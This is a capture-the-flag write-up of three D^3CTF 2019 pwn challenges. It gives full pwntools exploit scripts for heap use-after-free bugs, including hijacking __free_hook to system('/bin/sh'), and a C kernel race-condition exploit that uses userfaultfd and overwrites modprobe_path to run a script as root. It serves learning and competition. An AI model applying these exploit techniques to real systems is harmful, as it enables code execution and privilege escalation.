Github: https://github.com/Ex-Origin/ctf-writeups/tree/master/d3ctf2019/pwn.
new_heap
There is an obvious UAF
vulnerability in the program, but the tcache double freee check
is not easy to bypass.
With the further analysis of the program, you will find it doesn't close the buffer of stdin, that
means we can call getchar()
to triger malloc_consolidate. After that we can use stdin
to control heap, then exploit UAF to implement arbitrary address writing.
Exploit:
- call getchar() to triger malloc_consolidate and achieve chunk overlap.
- hijack tcache
- hijack stdout
- hijack hook
Exp:
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols* /tmp/gdb_pid /tmp/gdb_script')
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''
# '''
# f = open('/tmp/gdb_symbols.c', 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
# except Exception as e:
# pass
context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './new_heap'
# execve_file = './new_heap'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols.so'})
# sh = process(execve_file)
sh = remote('localhost', 1000)
elf = ELF(execve_file)
# libc = ELF('./libc-2.29.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Create temporary files for GDB debugging
try:
gdbscript = '''
def pr
x/18gx $rebase(0x202060)
end
b malloc
'''
f = open('/tmp/gdb_pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script', 'w')
f.write(gdbscript)
f.close()
except Exception as e:
pass
def add(size, content):
sh.sendlineafter('3.exit\n', '1')
sh.sendlineafter('size:', str(size))
sh.sendafter('content:', content)
def delete(index):
sh.sendlineafter('3.exit\n', '2')
sh.sendlineafter('index:', str(index))
def local_exit(content):
sh.sendlineafter('3.exit\n', '3')
sh.sendafter('sure?\n', content)
def clear_exit_buf(num):
for i in range(num):
local_exit('')
sh.recvuntil('s:')
high = (int(sh.recvline(), 16) - 2) * 0x100
log.success('high: ' + hex(high))
for i in range(9):
add(0x28, '\n')
for i in range(9):
delete(i)
add(0x28, '\n')
local_exit('a' * 0x28 + p8(0x31) + '\0\0')
# pause()
delete(8) # hijack tcache
clear_exit_buf(0x28 + 2)
local_exit('a' * 0x28 + p64(0x31) + p16(high + 0x10))
add(0x28, '\n')
add(0x28, '\0' * 0x20 + '\xff' * 0x8)
# hijack tcache
delete(11)
add(0x48, '\0' * 0x10)
add(0x18, p16(0xe760)) # Let tcache point at stdout
# pause()
add(0x38, p64(0xfbad2887 | 0x1000) + p64(0) * 3 + p8(0xc8)) # hijack stdout
result = sh.recvn(8)
libc_addr = u64(result) - libc.symbols['_IO_2_1_stdin_']
log.success('libc_addr: ' + hex(libc_addr))
# again
delete(8)
clear_exit_buf(0x28 + 8 + 2 - 1)
local_exit('a' * 0x28 + p64(0x31) + p64(libc_addr + libc.symbols['__free_hook']))
add(0x28, '/bin/sh\0')
add(0x28, p64(libc_addr + libc.symbols['system'])) # hijack __free_hook
delete(15)
sh.interactive()
clear()
ezfile
Nice challenge!
The program have UAF and stack overflow, we can use double free to modify stdin->_fileno to 3, then use stack overflow to transfer following position.
.text:000000000000114C call _open
.text:0000000000001151 mov cs:fd, eax
.text:0000000000001157 mov eax, cs:fd
.text:000000000000115D cmp eax, 0FFFFFFFFh
.text:0000000000001160 jnz short loc_117D
.text:0000000000001162 mov esi, 1 ; newline
.text:0000000000001167 lea rdi, aErrorInOpening ; "error in opening /dev/urandom"
.text:000000000000116E call myputs
.text:0000000000001173 mov edi, 0 ; status
.text:0000000000001178 call _exit
.text:000000000000117D ; ---------------------------------------------------------------------------
.text:000000000000117D
.text:000000000000117D loc_117D: ; CODE XREF: main+7B↑j
.text:000000000000117D lea rsi, name
.text:0000000000001184 lea rdi, a90s ; "%90s"
.text:000000000000118B mov eax, 0
.text:0000000000001190 call ___isoc99_scanf
.text:0000000000001195 lea rsi, name
.text:000000000000119C lea rdi, format ; "welcome!%s.\n"
.text:00000000000011A3 mov eax, 0
.text:00000000000011A8 call _printf
You can control rdi and rsi register while strack overflowing. finally, you will get the flag.
In the whole process, the probability of cracking the address of stdin and image base in both parts is 1/16.
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols* /tmp/gdb_pid /tmp/gdb_script')
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''
# '''
# f = open('/tmp/gdb_symbols.c', 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
# except Exception as e:
# pass
context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './ezfile'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols.so'})
sh = process(execve_file)
# sh = remote('', 0)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Create temporary files for GDB debugging
try:
gdbscript = '''
b *$rebase(0x10e4)
'''
f = open('/tmp/gdb_pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script', 'w')
f.write(gdbscript)
f.close()
except Exception as e:
pass
def add(size, content):
sh.sendlineafter('>>', '1')
sh.sendlineafter('>>', str(size))
sh.sendafter('>>', content)
def delete(index):
sh.sendlineafter('>>', '2')
sh.sendlineafter('>>', str(index))
sh.sendafter(': ' , 'a' * 90)
add(0x10, p64(0) + p64(0x21))
for i in range(6):
add(0x18, '\n')
# # # Let fd of the chunk leave the address of the zero index chunk
for i in range(7):
delete(0)
# put the chunk into fastbin
delete(1)
add(1, p8(0x80))
add(0x1, p8(0x90))
add(0x11, p64(0) + p64(0xa1) + '\n')
for i in range(8):
delete(1)
delete(9)
# control fd of the chunk
two_byte = p16(0xa60 + random.randint(0, 0xf) * 0x1000)
# two_byte = '\x60\xfa'
# edit size and the value of fd
add(0x10 + len(two_byte), p64(0) + p64(0x21) + two_byte)
add(0x18, '\n')
# hijack stdin->_fileno
add(0x1, p8(3))
sh.sendlineafter('>>', '3')
sh.sendlineafter('>>', '0') # O_RDONLY
payload = 'flag\0'.ljust(0x68, '\0') + p16(0x14c + random.randint(0, 0xf) * 0x1000)
# payload = 'flag\0'.ljust(0x68, '\0') + '\x4c\x51'
sh.sendlineafter('>', str(len(payload)))
sh.sendafter('>>', payload)
sh.interactive()
clear()
knote
classical race condition vulnerability.
To be honest, this is my first time to complete a race condition challenge, and I sincerely thank the
help form ray-cp
, I can't finish the challenge without his help.
vulnerability
Note structures doesn't have locks, so there is a race condition vulnerability. I initially thought
raw_write_lock
would protect note structures, but it doesn't work. Perhaps it is just a
special optimization of compiler.
exploit
- Use race condition to leak ptmx's tty_strcut information then use it to figure out kernel base address.
- hijack slab's next to point at modprobe_path by race condition, change the modprobe_path to '/tmp/shell.sh'.
- Run a wrong executable file then triger kernel exception, and the kernel calls handler to fix
it, finally the handler will run
/tmp/shell.sh
as root.
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include "userfaultfd_tool.h"
#include "note.h"
int main(int argc, char **args, char **envp)
{
int fd, ptmx_fd, i, file_fd, pid, result;
parameter param;
char buf[0x1000], *handle_page, *new_args[] = {"/tmp/wrong_elf", NULL};
size_t kernel_base, *ptr, modprobe_path;
fd = open("/dev/knote", O_RDONLY);
ASSERT((fd == -1), 0, "open error!");
handle_page = get_userfault_page(2);
ptr = (size_t *)handle_page;
add_chunk(fd, 0x3f0); // 0
RUN_JOB(get_chunk, fd, 0, handle_page);
delete_chunk(fd, 0);
/* Fill the chunk that just freed with tty_struct */
for(i = 0; i < 16; i++)
{
ASSERT((open("/dev/ptmx", O_RDWR) == -1), 0, "open error!");
}
/* Release lock, then it can get the memory of tty_struct. */
release_fault_page();
kernel_base = ptr[74] - 0x5d3b70;
LOGV(kernel_base);
modprobe_path = kernel_base + REAL_OFFSET(0xffffffff8245c5c0);
LOGV(modprobe_path);
add_chunk(fd, 0x3f0);
ptr = (size_t *)PAGE_COPY_ADDR;
ptr[0] = modprobe_path;
RUN_JOB(edit_chunk, fd, 0, handle_page + 0x1000);
delete_chunk(fd, 0);
release_fault_page();
add_chunk(fd, 0x3f0);
// get modprobe_path
add_chunk(fd, 0x3f0);
file_fd = open("/tmp/shell.sh", O_WRONLY|O_CREAT|O_NOCTTY|O_NONBLOCK, 0755);
ASSERT((file_fd == -1), 0, "open error!");
write(file_fd, "#!/bin/sh\n"
"chmod 777 flag\n"
"sleep 20\n", 34);
close(file_fd);
edit_chunk(fd, 1, "/tmp/shell.sh");
file_fd = open(new_args[0], O_WRONLY|O_CREAT|O_NOCTTY|O_NONBLOCK, 0755);
ASSERT((file_fd == -1), 0, "open error!");
write(file_fd, "\x00", 1);
close(file_fd);
pid = fork();
ASSERT((pid != -1), 1, "fork error!");
if(pid)
{
puts("wait ...");
sleep(1);
file_fd = open("/flag", O_RDONLY);
ASSERT((file_fd == -1), 0, "open error!");
result = read(file_fd, buf, sizeof(buf) - 1);
buf[result] = 0;
puts(buf);
}
else
{
ASSERT(execve(new_args[0], new_args, envp), 0, "execve error!");
}
return 0;
}
Note: Other source file is in my github that is show earlier in the top of my article.